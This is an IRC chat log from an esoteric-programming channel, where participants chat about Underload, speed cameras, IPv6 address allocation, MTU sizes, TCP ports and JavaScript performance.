18:06:21 <ais523> that'd be a fun language in its own right, though
18:06:24 <elliott> oh, inded
18:06:31 <elliott> *indeed
18:06:31 <elliott> just not a tarpit
18:06:36 <ais523> a lang with 100 instructions, and you couldn't sensibly write a program without using all of them
18:06:39 <elliott> 16:51:56 <ais523> ooh, now I see how that digit printing works, that's ingenious
18:06:41 <elliott> how does it work? :p
18:06:56 <elliott> http://oerjan.nvg.org/esoteric/las.ul <-- gosh, oerjan writing an actual program
18:07:28 <ais523> elliott: basically, it's a list made out of cons cells like Underload lists normally are
18:07:40 <ais523> except that the tails contain a command to pop the stack
18:07:44 <elliott> hm
18:07:59 <ais523> so instead of going "uncons pop" repeatedly to go "tail tail tail tail tail..."
18:08:00 <elliott> http://esolangs.org/wiki/Underload#Examples wow, I didn't realise rule 110 was so simple in underload
18:08:13 <elliott> IMO, Underload is a better esolang than Brainfuck
18:08:20 <ais523> it juts goes "uncons", and the cons cells are vaguely evil and deal with getting rid of the previous heads
18:08:32 <elliott> (*just)
18:08:47 <ais523> err, yes
18:09:08 * elliott half-suspects that Underload is actually a good language ruined (ruined being a good word here ofc)
18:09:31 <ais523> elliott: and that good language is Underlambda!
18:09:34 <elliott> ("Golf is a good program ruined", so obviously ruined is a good thing for us)
18:09:40 <ais523> although it isn't finished yet
18:09:40 <elliott> ais523: haha
18:09:51 <elliott> ais523: I have this strong urge to write a compiler that does the optimisations derlo does
18:10:10 -!- hagb4rd has joined.
18:11:05 <ais523> elliott: I'm not entirely convinced that all the optimisations make sense in a compiler, but go for it anyway
18:11:16 <ais523> given that derlo's already slower than the existing compiler, I'd imagine that the resulting compiler would be massively fast
18:11:30 <ais523> I could probably optimise a bit more by detecting numbers and special-casing them
18:11:35 <ais523> to make them O(1) rather than O(log n)
18:11:37 <elliott> ais523: derlo's slower than my compiler?
18:11:42 <elliott> or is there another compiler on the block?
18:11:49 <elliott> I mean the resulting code, ofc
18:12:01 <elliott> also, I thought derlo _did_ optimise numbers, that's what i was mainly planning
18:12:01 <ais523> I meant the resulting code
18:12:11 <ais523> and no, it just did things like lazy concat
18:12:17 <elliott> turn any () just consisting of "balanced" :s and *s into a number
18:12:21 <elliott> optimise operations appropriately
18:12:22 <ais523> in order to improve computational orders as much as possible
18:12:30 <elliott> brb
18:12:34 <ais523> also, you should detect things like !() as numbers too
18:12:52 -!- asiekierka has joined.
18:12:56 <quintopia> oh he finally finished his ul las generator...just after i went to bed last night :P
18:13:07 <ais523> also, hilarious: council want to turn off speed cameras to save money, media complain
18:13:21 <ais523> (hilarious because: council install speed cameras, media accuse them of just trying to make money)
18:13:37 <quintopia> aren't speed cameras supposed to make money? yeah. that's a fail.
18:13:44 <Phantom_Hoover> It's like an inductor.
18:15:00 <ais523> quintopia: no, they're supposed to slow people down
18:15:29 <quintopia> i've never seen a camera slow anyone down...
18:15:33 <ais523> I have
18:15:41 <quintopia> the whole purpse of speed laws is to make money
18:15:52 <ais523> quintopia: well, they cost more to run than they make
18:16:19 <quintopia> that's surprising and major fail
18:16:28 <ais523> no it isn't, because most people respect them
18:16:40 <ais523> and thus they hardly make any monet
18:16:41 <ais523> *money
18:17:04 -!- elliott has quit (Ping timeout: 255 seconds).
18:17:04 <Phantom_Hoover> quintopia, where are you from?
18:18:23 <quintopia> georgia
18:19:24 <quintopia> ah i didn't know most people respect them. i've never known them to. yeah, speed enforcement that actually works p much fails at paying for police to operate
18:19:32 <quintopia> i can understand wanting to shut them off in that case
18:20:08 <ais523> the cameras are made really visible in order that people can see them in a distance and know they should be careful about their speed
18:20:15 <Phantom_Hoover> Yeah, that kind of insane commercialism smacks of America.
18:20:19 <ais523> also, georgia the US state? or georgia the country?
18:20:43 <quintopia> the state
18:21:03 <quintopia> well, the cameras would probably be more profitable if they hid them
18:21:20 <Phantom_Hoover> The point is *not to make a profit*.
18:21:26 <Phantom_Hoover> It is to stop people from speeding.
18:21:34 <quintopia> bah.
18:21:39 <Phantom_Hoover> Hiding them defeats the point.
18:21:56 <quintopia> i do not understand this culture of creating laws and actually making them work
18:22:06 <quintopia> laws are made to make someone money
18:22:26 <Phantom_Hoover> Well, they certainly are in the States...
18:22:46 <quintopia> it's the only paradigm i know
18:23:01 <fizzie> I don't know statistics about whether they make a profit or not here, but people do slow down for the cameras. They're also not especially hidden (there's traffic signs at the start of a camera-controlled region and so), but not made especially prominent either. (And you can download unofficial crowdsourced car-navigator-point-of-interest-compatible maps of them.)
18:23:25 <Phantom_Hoover> fizzie, they're painted brightly here.
18:23:49 <quintopia> where is here?
18:23:50 <fizzie> Nondescript grey here.
18:24:01 <fizzie> We have a different 'here' here.
18:24:11 <quintopia> answer only for yourself of course
18:24:15 -!- hagb4rd2 has joined.
18:24:19 <fizzie> Finland for me, then.
18:24:23 <Phantom_Hoover> quintopia, Scotland.
18:24:30 <quintopia> ah
18:24:42 <quintopia> wharbouts in finland fizzie?
18:26:01 -!- hagb4rd has quit (Disconnected by services).
18:26:11 -!- hagb4rd2 has changed nick to hagb4rd.
18:26:24 <Phantom_Hoover> Finland is non-homogeneous?
18:29:17 <Phantom_Hoover> (:P if it wasn't obvious.)
18:30:08 <Phantom_Hoover> [[Spiral programs are much more beautifuller]]
18:30:19 <Phantom_Hoover> quintopia, *please* tell me that was intentional.
18:30:46 <quintopia> well of course
18:30:58 <quintopia> i like to include a bit of sillyness in my write-ups
18:31:00 <quintopia> sometimes
18:31:15 <quintopia> the whole point of esoteric languages is not to take yourself too seriously
18:31:27 <fizzie> Espoo, next to Helsinki.
18:31:36 <quintopia> oh neat
18:31:40 <olsner> hmm, no oerjan
18:31:46 <Phantom_Hoover> Espoo... *snicker*
18:31:47 <quintopia> let's hang out next time in helsinki :D
18:42:31 -!- hagb4rd has quit (Ping timeout: 240 seconds).
19:02:39 <variable> <@meow> ldd gnome-kitchen-sink | wc -l
19:02:39 <variable> <@meow> wc: integer overflow
19:02:40 <variable> :-)
19:02:55 <ais523> I didn't realise wc /could/ overflow
19:03:04 -!- poiuy_qwert has joined.
19:03:39 <variable> ais523, I duno if it can. Twas a joke
19:03:48 * variable tries
19:03:54 <variable> /exec yes | wc :-)
19:06:26 <Phantom_Hoover> ais523, surely it can overflow?
19:06:41 <ais523> it might use a bignum
19:06:48 <Phantom_Hoover> Hmm.
19:07:21 <ais523> the documentation doesn't mention limits
19:07:32 <variable> Phantom_Hoover, yes | head -20000000 |wc -c
19:07:32 <variable> 40000000
19:07:45 <variable> yes | head -200000000000 |wc -c -> running this now
19:08:18 <Ilari> Haha... Exploding truck falling into Grand Canyon... The Onion is funny.
19:08:49 <variable> Ilari, link
19:09:02 <quintopia> ilari: is there a transcript of the iana press conference anywhere?
19:09:24 <olsner> what, no elliott either
19:10:05 <Ilari> variable: http://www.youtube.com/watch?v=nJdP1zK15bE
19:10:05 <quintopia> inorite? been a pretty pleasant day so far
19:10:58 -!- ais523 has quit (Read error: Connection reset by peer).
19:11:21 -!- asiekierka has quit (Remote host closed the connection).
19:14:32 <Vorpal> ah they allocated it at last
19:14:49 <Vorpal> Ilari, so... any predictions for when RIPE runs out?
19:16:13 <Phantom_Hoover> pikhq, ping, goddammit.
19:18:08 <variable> Vorpal, they won't for variety of reasons
19:18:12 <quintopia> who cares when ripe runs out? grab your IPv4s now while they're still hot! i have 2 in romania myself
19:18:13 <Ilari> One of the official estimates (by Lagerholm) is 2012-09-08 ... But graph done by Hain has RIPE depleting in November this year...
19:18:20 <variable> Vorpal, or more accuretly
19:18:30 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
19:18:32 <variable> there won't ever be a time when "there are no more" addresses
19:18:37 <Vorpal> variable, oh?
19:19:13 <quintopia> they will certainly come a time when the kikes of us cannot afford one however
19:19:18 <variable> Vorpal, because businesses give them back and other people are holding on to them to reallocate. The problem is when "there are not currently enough to service a businesses needs"
19:19:19 <quintopia> wow
19:19:24 <quintopia> that was a bad typo
19:19:41 <variable> Vorpal, basically it might stay < 1000 but it won't hit 0
19:19:46 <Vorpal> variable, well sooner or later we *will* need ipv6.
19:19:50 <variable> Vorpal, 100%
19:20:00 <variable> (I'm on the IETF and NANOG mailing lists)
19:20:04 <Vorpal> hm
19:20:59 <Vorpal> variable, also I strongly dislike the huge allocations of ipv6. heck my ipv6 tunnel has a frigging /48... Something like a /60 or so would be way better, still allowing a few /64 with stateless config
19:21:01 <variable> Vorpal, the big "0" day came and went (when the final big allocations were made and now its up to the regional allocations)
19:21:18 <variable> erm - smaller than /60 have other problems
19:21:26 <variable> the routing tables get too large
19:21:29 <Ilari> 2^45 /48s...
19:21:51 <Ilari> => About 32 000 000 000 000
19:22:19 <Vorpal> yes indeed, but remember that is just for one tunnel
19:22:56 <Ilari> That's about 8 000 times more than there are total IPv4 addresses...
19:22:57 <Vorpal> variable, as for routing tables, that is because everyone wants multi-homed. And I seen larger allocations than /48...
19:22:57 <variable> Vorpal, take a look at Max Pierson's recent post to the NANOG
19:23:04 <Vorpal> variable, link?
19:23:47 <Vorpal> Ilari, remember that address usage grows non-linearly
19:24:21 <variable> Vorpal, http://seclists.org/nanog/2011/Jan/1191 --> not directly on your topic - but the later responders answer it
19:24:40 <variable> ""The whole point of IPv6 is that the number of -----> prefixes <------ vastly exceeds the number of applicants that will use them.""
19:26:27 <Vorpal> variable, hopefully. But what would a normal consumer ISP customer get? A single /64?
19:26:28 <Ilari> Running out of IPv6 addresses requires at least one of 1) Totally insane allocation policies (the current ones aren't even remotely that). 2) interstellar travel and communications.
19:26:58 <Vorpal> Ilari, I'm hoping to retire on a terraformed Mars ;)
19:27:10 -!- azaq23 has joined.
19:27:29 <variable> Vorpal, I think so - but I'm not certain
19:27:42 <variable> maybe even a /48
19:27:46 <Vorpal> right
19:28:08 <Ilari> 10 "logical RIR allocations" left. The Moon might need one, I think 4 would be enough for Mars...
19:28:36 <variable> Vorpal, Owen DeLong's posts on that thread explain it a lot better
19:28:47 <Ilari> And those allocations are /7s...
19:28:58 <Vorpal> variable, there should be a step in between for this use case. A consumer might want a few /64 but most won't need a full /48. Why can't they do /60 or so for this use case? It won't affect the global routing tables for consumer ISPs
19:29:15 -!- poiuy_qwert has joined.
19:29:46 <variable> Vorpal, tiny ISPs probably resell other's IP space - they don't get their own
19:29:47 <Vorpal> Ilari, but doesn't the first section (2001 or whatever it usually is) have lots of unused values
19:29:50 <Ilari> IIRC, the reason that free.fr is handing /64 instead of /60 is that CPE has problems with /60s.
19:29:52 <Vorpal> sure, some are link local or such
19:29:58 <Vorpal> but even so, most are unused
19:30:27 <Vorpal> Ilari, CPE?
19:30:27 -!- poiuy_qwert has quit (Client Quit).
19:30:43 <Vorpal> variable, uh?
19:31:21 <Vorpal> variable, for ipv4 they definitely have their own most of the time. And I checked tables and most in Sweden have ipv6 allocations, though they don't provide it to end users.
19:31:33 <variable> Vorpal, consumer home providers are generally large and act as backbones for some cases - so they tend to get large blocks anyways. Its the tiny web hosting providers that resell
19:31:55 <Vorpal> variable, what does web hosting have to do with ISPs?
19:32:07 <Vorpal> anyway, you could possibly use that first section of ipv6, Then just tweak the wording to say 2001 or whatever is the "inner solar system" or such.
19:32:53 <Ilari> The first segments that are currently used in global unicast: 2001, 2002, 2003, 240x, 260x, 2610, 2620, 280x, 2A0x, 2C0x (85 of 8192)
19:33:10 <Vorpal> Ilari, what, that many?
19:33:13 <variable> Vorpal, I've got to go to class now :-\
19:33:15 <Vorpal> Ilari, what are they all for?
19:33:23 <Vorpal> variable, will go to sleep soon
19:33:25 <Vorpal> cya
19:33:28 <variable> gbye
19:34:16 <Ilari> 2001 is misc mess. 2002 is 6to4, 2003 has RIPE, 24xx is APNIC, 26xx is ARIN, 28xx is LACNIC, 2Axx is RIPE, 2Cxx is AFRINIC.
19:35:22 <Ilari> Don't ask why they stuck one of RIPE misc blocks to 2003. 2001 would had space for it (resulting that block being filled).
19:35:30 -!- nddrylliog has joined.
19:36:21 <Ilari> Or nope, that block would still have had 2001:6000::/19
19:36:28 <Vorpal> Ilari, hm, am I right in that the issue with routing tables is that the decentralised (and thus multi-homing) nature of internet makes aggregating the routes mostly futile?
19:37:01 <Ilari> At least that geographical distribution allows fair amount of aggeration...
19:37:10 <Vorpal> Ilari, hm. I think my current ipv6 is in 2001
19:37:27 <Ilari> 2001 has all sorts of mess.
19:37:29 <olsner> Vorpal: you have ipv6?
19:37:34 <Vorpal> olsner, tunnel
19:37:36 <Vorpal> sixxs
19:37:46 <Vorpal> Ilari, "mess"?
19:37:52 <olsner> ah, ok... is that fun to have? should I set one up?
19:38:07 <Ilari> Well, it has 28 allocations to RIRs..
19:38:24 <Vorpal> Ilari, uh... *why*?
19:38:26 <Ilari> Or actually, 27.
19:38:29 <Ilari> Don't ask...
19:39:32 <Ilari> That was apparently time before current policy of allocating /12 at a time.
19:40:35 <Vorpal> Ilari, this just messes up the routing table! And a /12 is crazy large... If it was me I would suggest a /16 to each RIR. Which should be enough for many years.
19:41:17 <Ilari> When viewed from "far away", each RIR aggerates nicely.
19:41:40 <Vorpal> Ilari, and we need another RIR you forgot. Moon: 1, Mars: 4 sure. But with the global warming on Earth it won't be long until we have ACNIC
19:41:52 <Ilari> ACNIC?
19:42:08 <Vorpal> Ilari, isn't AC the "country code" for Antartica?
19:42:18 <Ilari> Ah, yeah...
19:42:51 <Vorpal> given the global warming at the current rate it will probably be a nice spot to live in given a few hundred years
19:43:40 <Ilari> Well, current warming rate wouldn't be enough, but warming is likely to accelerate.
19:44:21 <Vorpal> Ilari, okay I adjust that line to say: current warming rate'
19:46:01 <Ilari> Latest APNIC delta: 0.03
19:46:13 <Vorpal> Ilari, what does that measure?
19:46:23 <Ilari> 3% of a block allocated in single day.
19:47:04 <Vorpal> Ilari, so... That gives us... gah can't find my calculator and I suck at mental number juggling.
19:47:08 <Ilari> AFAIK, a lot of Asia has long holidays, so one expects it to be quiet for about a week...
19:47:31 <Vorpal> ouch
19:48:10 <Vorpal> Ilari, and they don't realise that it is better to invest in ipv6 now than getting more ipv4 given that it is doomed anyway?
19:48:11 <Vorpal> wtf
19:50:09 <Gregor> EVERYONE WHO HAS A WII: Go play Muscle March. DO IT NOW. I want to not be the only person who has played it :P
19:50:40 <Vorpal> Gregor, I don't have a Wii, but what is that game?
19:51:18 <Gregor> Vorpal: http://www.youtube.com/watch?v=U_s7iCOj9HU
19:52:44 <Vorpal> Gregor, I don't understand the language used in that video
19:52:57 <Gregor> Vorpal: Believe me, you don't need to.
19:53:10 <Ilari> Maximum MTU IPv6 can use is only 65575. :-/
19:53:35 <Vorpal> Gregor, wtf
19:53:48 <Vorpal> Gregor, also that is not safe for sanity, that link
19:54:01 <Gregor> Ilari: Frankly I'm more concerned that UDP and TCP on IPv6 didn't decide to change their port bitwidth
19:54:13 <Gregor> Vorpal: ITYM "That's awesome and I want to play it NOW"
19:54:48 <Ilari> That's only defining new layer 4 protocol. Much less messy than doing layer 3 migration...
19:54:54 <Vorpal> Ilari, err, jumbo frames aren't all that useful outside very specialised networks. It makes the network respond slower to multiple clients as well. I mean given smaller frame you can interleave communication with different hosts a lot faster.
19:55:30 <Vorpal> Gregor, yeah, but in practise a host doesn't use that many open ports at once
19:55:30 <Gregor> Ilari: Yeah, but the layer 3 migration was a great time to go "oh and while we're at it ..."
19:55:34 <Ilari> AFAIK, SONET/SDH only goes to 4096. Ethernet only goes to something like 9200...
19:55:48 <Vorpal> Gregor, though an issue is of course different applications not being able to get new port numbers allocated.
19:55:50 <Gregor> Vorpal: Depends on the host. Some do, and end up having to do resource sharing just for stupid port count reasons.
19:56:23 <Vorpal> Gregor, but then, most programs don't care about officially registering a port number these days.
19:56:35 <Gregor> I'm not concerned with that, no :P
19:57:33 -!- elliott has joined.
19:57:35 * nddrylliog coughs
19:57:47 <Vorpal> Gregor, a non-listening port can actually be a pair (remote-end-point,port) without issues. Meaning that you could in theory get close to the full range *per remote endpoint*
19:57:49 <Gregor> nddrylliog: TIME TO PLAY MUSCLE MARCH?
19:57:49 <elliott> grr, ais left
19:57:55 <Vorpal> Gregor, and if you have such systems: wtf
19:58:02 <Gregor> Vorpal: Fair enough, but nobody implements that.
19:58:35 <nddrylliog> Gregor: I GUESS SO, DEAR SIR.
19:58:57 <Vorpal> Gregor, in fact you could even do (remote-end-point,remote-port,local-port) though I think that would need to be supported on both sides. And that would be *huge* for a given remote host
19:59:13 <Vorpal> Gregor, anyway the obvious solution is to migrate to SCTP or whatever
19:59:14 <elliott> what are you talking about
19:59:24 <Gregor> elliott: Murder.
19:59:28 <Gregor> elliott: Via TCP
19:59:33 <Vorpal> elliott, the range of TCP/UDP port numbers
19:59:38 <Ilari> SCTP has 16 bit ports.
19:59:45 <elliott> 18:32:46 <ais523> no it isn't, because most people respect them
19:59:45 <elliott> no, most people do not respect speed limits because of cameras
19:59:51 <elliott> they drive slowly when passing cameras, but then just speed up again
19:59:55 <Vorpal> Ilari, well it has multiple streams in a given connection though
20:00:27 <elliott> 18:47:45 <fizzie> Espoo, next to Helsinki.
20:00:28 <Vorpal> elliott, "most"?
20:00:28 <elliott> 18:48:05 <Phantom_Hoover> Espoo... *snicker*
20:00:28 <elliott> indeed
20:00:29 <elliott> ahem
20:00:30 <elliott> POO
20:00:31 <elliott> lol
20:00:32 <elliott> okay carry on
20:00:35 <fizzie> Ilari: IPv6 packets have a special header option for 32-bit MTUs.
20:00:42 <elliott> Vorpal: ais said most people respect speed limits because of speed cameras, pretty much
20:00:43 <Vorpal> elliott, I would think it is below 50%, but still a large percentage
20:00:53 <Vorpal> that speeds
20:01:01 <Ilari> fizzie: Header type?
20:01:07 <fizzie> Ilari: Cf. http://tools.ietf.org/html/rfc2675 "Jumbograms"
20:01:18 <Vorpal> elliott, heh
20:01:23 <Vorpal> elliott, that just sounds wrong
20:01:45 <fizzie> Of course the whole link must support the option in question in order for that to work.
20:01:52 <Ilari> With single address, TCP (and SCTP!) would allow at most 65535 listeners at once. But the number of possible connections is 4294836225M where M is address space size.
20:02:08 <Vorpal> elliott, people don't speed because they die if they try. Though when I think about it, speeding only tends to happen during summer, a lot more rare during the winter
20:02:27 -!- impomatic has joined.
20:02:31 <fizzie> And not very many networks do have >64K MTU, ,as was mentioned.
20:03:29 <Vorpal> fizzie, indeed, don't most networks still do 1500 or less still?
20:03:58 <elliott> 19:25:43 <olsner> what, no elliott either
20:03:58 <elliott> 19:26:24 <quintopia> inorite? been a pretty pleasant day so far
20:04:04 <elliott> quintopia: be careful or I'll ... er...
20:04:07 <Vorpal> on my system, eth0: 1500, lo: 16436, sixxs: 1280
20:04:09 <elliott> ban you from #esoteric-minecraft!
20:04:11 <elliott> MWAHAHAHA I AM SO EVIL
20:04:12 <Vorpal> hardly surprising
20:04:16 <elliott> darn, i have no powers :/
20:04:41 <quintopia> you're a sensitive one... :P
20:04:45 <Vorpal> elliott, try finding a power outlet then ;P
20:04:55 <elliott> HAR HAR HAR
20:05:07 <Vorpal> elliott, you should play df
20:05:18 <Vorpal> I'm currently trying to understand the military system.
20:05:51 <elliott> it sounds complicated. and scary!
20:06:01 <fizzie> Vorpal: Ethernet is a bit on the small side; AAL5 (ATM adaptation layer 5; what they use for packet-switched data over ATM, and there's quite many ATM links, I understand many DSL systems use the same protocols) default MTU is 9180 octets. (But the maximum allowed is 65535 there too.)
20:06:05 <olsner> elliott: fyi I didn't actually have anything to say to you, was just observing your absence
20:06:07 <Ilari> Vorpal: If it is GbE card, it might be possible to set MTU to over 9000!!!
20:06:13 <Vorpal> elliott, which the wiki describes as to as (in describing difference to older versions): "[...] is a new feature that is both incredibly versatile... and, initially, completely impenetrable."
20:06:24 <elliott> olsner: yes, with glee
20:06:33 <Vorpal> Ilari, 1) it isn't in this computer 2) I doubt the rest of the network would like that
20:06:37 <elliott> 19:43:17 <Vorpal> Ilari, I'm hoping to retire on a terraformed Mars ;)
20:06:41 <elliott> enjoy 30 minute ping to earth
20:07:12 <fizzie> Ethernet Jumbo frames are not very well standardized.
20:07:21 <Ilari> At least on this system, it is possible to set MTU larger than 1500 for eth0. Rest of the network doesn't like it tho...
20:07:50 <nddrylliog> "The theoretical capacity of a Boeing 747 filled with Blu-Ray discs is 595,520,000 Gigabits, resulting in a 37,000 Gbit/s flight from New York to Los Angeles" - http://en.wikipedia.org/wiki/Sneakernet#Theory
20:07:50 <Vorpal> <elliott> enjoy 30 minute ping to earth <-- I'm sure they will come up with a working worm hole soon!
20:07:53 <fizzie> I've tried it out on the point-to-point gigabit link between the network HD box and the router, but it didn't really have noticeable benefits; probably overhead elsewhere.
20:07:55 <elliott> 19:48:12 <Vorpal> variable, what does web hosting have to do with ISPs?
20:08:02 <elliott> ISP has a more general meaning than its day-to-day usage
20:08:06 <elliott> ISP is technically any internet service provider
20:08:13 <elliott> i.e., web hosts, email providers, are all ISPs
20:08:17 <Vorpal> elliott, well okay, but no one uses it like that.
20:08:21 <elliott> plenty do
20:08:26 <elliott> especially the kind of people who talk about IPv6
20:08:49 <Vorpal> elliott, but sure, what is a short word or abbrev for ISP in the day-to-day usage meaning then?
20:09:05 <elliott> Vorpal: internet provider?
20:09:13 <Vorpal> elliott, "IP" is already in use!
20:09:14 <elliott> An Internet service provider (ISP), also sometimes referred to as an Internet access provider (IAP), is a company that offers its customers access to the Internet.[1] The ISP connects to its customers using a data transmission technology appropriate for delivering Internet Protocol packets or frames, such as dial-up, DSL, cable modem, wireless or dedicated high-speed interconnects.
20:09:16 <elliott> IAP then
20:09:22 <Vorpal> elliott, ah yes IAP would work
20:09:26 <elliott> but i doubt anyone says /that/ :)
20:09:55 <Vorpal> elliott, well, indeed. Everyone says ISP and usually they mean that. If they use ISP in the wider meaning then I presume they use IAP!
20:09:55 <elliott> so WTF is multihoming
20:10:04 <Vorpal> elliott, you don't know?
20:10:21 <elliott> if i did, would i ask?
20:10:28 <Vorpal> I'm just surprised
20:10:42 <Vorpal> elliott, basic example of it: connect through different IAPs for example. If one goes down, you still have access.
20:10:46 <olsner> elliott: sure you would, just to check that Vorpal isn't just pretending to know what he's talking about
20:10:52 <Vorpal> elliott, you need some routing table magic to make this work
20:11:00 <Vorpal> elliott, that is, announce the routes through *both* connections
20:11:03 <elliott> 19:57:59 <Vorpal> Ilari, and we need another RIR you forgot. Moon: 1, Mars: 4 sure. But with the global warming on Earth it won't be long until we have ACNIC
20:11:04 <elliott> Global warming is going to fuck us up well before colonising Mars is possible. :p
20:11:08 <elliott> (wait, what does AC stand for there?)
20:11:15 <Vorpal> elliott, thus it is limited to AS level
20:11:16 <elliott> <Vorpal> elliott, basic example of it: connect through different IAPs for example. If one goes down, you still have access.
20:11:23 <elliott> ok, nobody believes consumers want this, right?
20:11:26 <elliott> non-businesses that is
20:11:29 <elliott> just checking
20:11:29 <Vorpal> <elliott> (wait, what does AC stand for there?) <-- read 2-3 lines further
20:11:33 <elliott> the "home" part makes me suspicious
20:11:34 <Vorpal> <elliott> ok, nobody believes consumers want this, right? <-- indeed
20:11:37 <elliott> good
20:11:38 <elliott> :P
20:11:42 <Vorpal> elliott, but a lot of businesses want it
20:11:44 <elliott> right
20:11:47 <elliott> multiofficing :P
20:11:51 <Vorpal> no
20:11:56 <Vorpal> elliott, for a single office
20:12:03 <elliott> Multiprovidering.
20:12:17 <Vorpal> elliott, check the routing of a typical university. They will likely have several up-pipes for their AS
20:12:30 <elliott> 20:03:23 <Vorpal> Ilari, so... That gives us... gah can't find my calculator and I suck at mental number juggling.
20:12:30 <elliott> dc(1)
20:12:32 <Vorpal> elliott, wait, do you know anything about BGP?
20:12:34 <elliott> or bc(1) if you're a wimp
20:12:38 <elliott> Vorpal: not a thing
20:12:40 <Vorpal> elliott, ah
20:12:48 <elliott> I'm not an Internet-internals type
20:13:04 <elliott> my knowledge of how google.com loads ends at HTTP
20:13:21 <Vorpal> elliott, ah, the tubes can be a bit cramped at times. What with all the data going past at a respectable fraction of c.
20:13:29 <nddrylliog> what was that Google HTTP 'faster and lighter replacement' again?
20:13:45 <olsner> elliott: how can you cope with not knowing it all the way down?
20:13:59 <Vorpal> nddrylliog, they had that? For what purpose?
20:14:03 <elliott> nddrylliog: i forget but i don't think anyone adopted that
20:14:12 <nddrylliog> ah right, it was SPDY
20:14:19 <nddrylliog> Vorpal: "make the web faster" I guess
20:14:26 <nddrylliog> elliott: indeed, it seems
20:14:32 <Vorpal> olsner, hm do you know how optical transmitters work for fibers?
20:14:58 <Vorpal> nddrylliog, did they use it for anything? I mean, their netbook OS to talk to their own services seems a plausible use...
20:15:27 <olsner> Vorpal: gnomes and light switches
20:15:28 <elliott> olsner: because the net sucks!
20:15:37 <elliott> Google Chrome utilizes SPDY[5][6] when communicating with Google services, such as Google Search, Gmail, Chrome sync and when serving Google's ads. Google acknowledges that the use of SPDY is enabled in the communication between Chrome and Google's SSL-enabled servers.[7] SPDY sessions can be inspected in Chrome at the special URL chrome://net-internals/#events&q=type:SPDY_SESSION%20is:active .
20:16:00 <elliott> yep, gmail.com shows spdy sessions on this chrome
20:16:02 <fizzie> Vorpal: The process of how fiberoptic cables are made is also very interesting; one telecom visiting lecturer talked about it for us. I've forgotten most of the details.
20:16:04 <elliott> BIG BROTHA IS SPEEDING UP UR ADS
20:16:07 <Vorpal> heh
20:16:30 <nddrylliog> http://stackoverflow.com/questions/4065344/is-spdy-really-used
20:16:39 <nddrylliog> ah that explains why ads always load faster than the rest :)
20:16:41 <Ilari> Oh, and apparently watching a lot of your moves: You know what ajax.googleapis.com (or what it was) is?
20:17:03 <nddrylliog> Ilari: realtime search query completion?
20:17:43 <Vorpal> interesting way to think of a endpoint-fibre-endpoint system: huge opto-isolator
20:19:00 <Ilari> nddrylliog: It isn't that. It is collection of various javashit scripts... Good way to collect referer headers...
20:19:21 <elliott> Please stop calling it javashit... it's just silly.
20:20:34 <nddrylliog> seriously what's wrong with Javascript? just because its implementations are mostly horrible doesn't mean it's a bad language
20:20:47 <elliott> Oh, it's a terrible language.
20:20:52 <Ilari> Performance and security mainly.
20:20:54 <elliott> But for reasons like "terrible scoping".
20:20:59 <elliott> Security has nothing to do with JS-the-language.
20:21:07 <nddrylliog> performance?
20:21:13 <elliott> Anyway even if I hated JS with all my soul I'd still call it javascript. I don't say M$ either :P
20:21:17 <elliott> Plus JS performance is hardly bad.
20:21:20 <elliott> I think V8 is faster than Python.
20:21:25 <nddrylliog> ^ that.
20:21:36 <elliott> (ocf the DOM and canvas and whatever are slow as shit because the web is terribly architectured, BUT)
20:21:37 <elliott> *ofc
20:21:59 <Vorpal> <elliott> I think V8 is faster than Python. <-- a LOT of things are faster than python
20:22:00 <nddrylliog> but yeah, terrible scoping, I agree
20:22:10 <Ilari> Anyway, when it causes extreme loads on fast computers, its performance is bad.
20:22:10 <Vorpal> elliott, now try again with well written cython code
20:22:20 <elliott> Vorpal: Yeah yeah yeah.
20:22:25 <elliott> But nobody complains about Python performance really.
20:22:28 <elliott> Ilari: No, *browsers* cause that.
20:22:32 <elliott> Ilari: The DOM, etc.
20:22:36 <nddrylliog> http://shootout.alioth.debian.org/u32/benchmark.php?test=all&lang=v8&lang2=gcc
20:22:40 <elliott> Ilari: JS is used in servers too nowadays.
20:22:52 <elliott> The language isn't "slow" -- implementations are very fast nowadays.
20:22:58 <nddrylliog> nobody complains about python performance because if you need performance you're already using C modules/Cython/Psyco/Pypy/another language.
20:22:58 <elliott> It's the DOM, repainting, etc. that's slow.
20:23:01 <elliott> And those are all browser things.
20:23:05 <Vorpal> elliott, I have done it when I needed to use it in a damn lab assignment for a reversi playing AI. By switching to cython I got the ply up from ~3-4 to 7!
20:23:12 <elliott> nddrylliog: YOU FORGOT OOC
20:23:17 <elliott> god i'm horrible
20:23:18 <nddrylliog> elliott: you forgot to shut up
20:23:26 <elliott> indeed
20:23:26 <elliott> i forget that constantly
20:23:34 -!- nddrylliog has left (?).
20:23:39 <Ilari> Anyway, I have JS disabled in places because it uses too much CPU. And this is with i7...
20:24:08 <Vorpal> OOC?
20:24:10 <Vorpal> what is that
20:24:30 <Vorpal> Ilari, I use noscript and only allow when I need it
20:24:42 <elliott> Vorpal: ooc is the thing that nddrylliog will hate us if we keep mentioning it
20:24:54 <Vorpal> elliott, oh, what is it then?
20:24:57 <Ilari> And security is even bigger reason to strictly limit what sites are allowed to execute JS. You ever have browsed high-severity browser security advisories?
20:25:12 <elliott> Vorpal: http://ooc-lang.org/ (nddrylliog standard disclaimer: he has nothing to do with the website at all)
20:25:25 <Vorpal> Ilari, I don't browse CVEs and such daily but I know what you mean
20:25:35 <Vorpal> elliott, uh why would he have anything to do with it?
20:25:42 <elliott> Vorpal: because he made the language/compiler
20:25:51 <variable> meh - no class for now
20:25:54 <Vorpal> elliott, heh
20:26:04 <elliott> and is stuck in CONSTANT REGRET
20:26:04 <Vorpal> elliott, so someone took over then?
20:26:13 <elliott> Vorpal: no, he just let someone else make the website
20:26:18 <elliott> A DECISION HE HAS REGRETTED EVERY DAY SINCE
20:26:22 <elliott> OH THE HORROR
20:26:24 <Ilari> Basically, the amount of browser security issues that absolutely require JS to expoit or having JS makes WAY easier is scary.
20:26:35 <Vorpal> elliott, website doesn't look too bad.
20:26:43 <elliott> Vorpal: Yes it does, it's horrible :P
20:26:48 <elliott> Vorpal: It has no information about the language, it's all marketing crap.
20:26:55 <Vorpal> elliott, true.
20:26:58 <elliott> Vorpal: Plus it has a login button... that logs in with *GitHub*.
20:27:02 <elliott> No, not OpenID.
20:27:04 <elliott> Just GitHub only.
20:27:10 <Vorpal> ah
20:27:16 <elliott> Also: We don't need no stinkin' manual, we have SCREENCASTS!
20:27:24 <Vorpal> elliott, can't he get the person to fix it and/or take over the web site?
20:27:25 <variable> <elliott> I'm not an Internet-internals type -> I am :-)
20:27:36 <elliott> Vorpal: I don't think he cares nearly enough :P
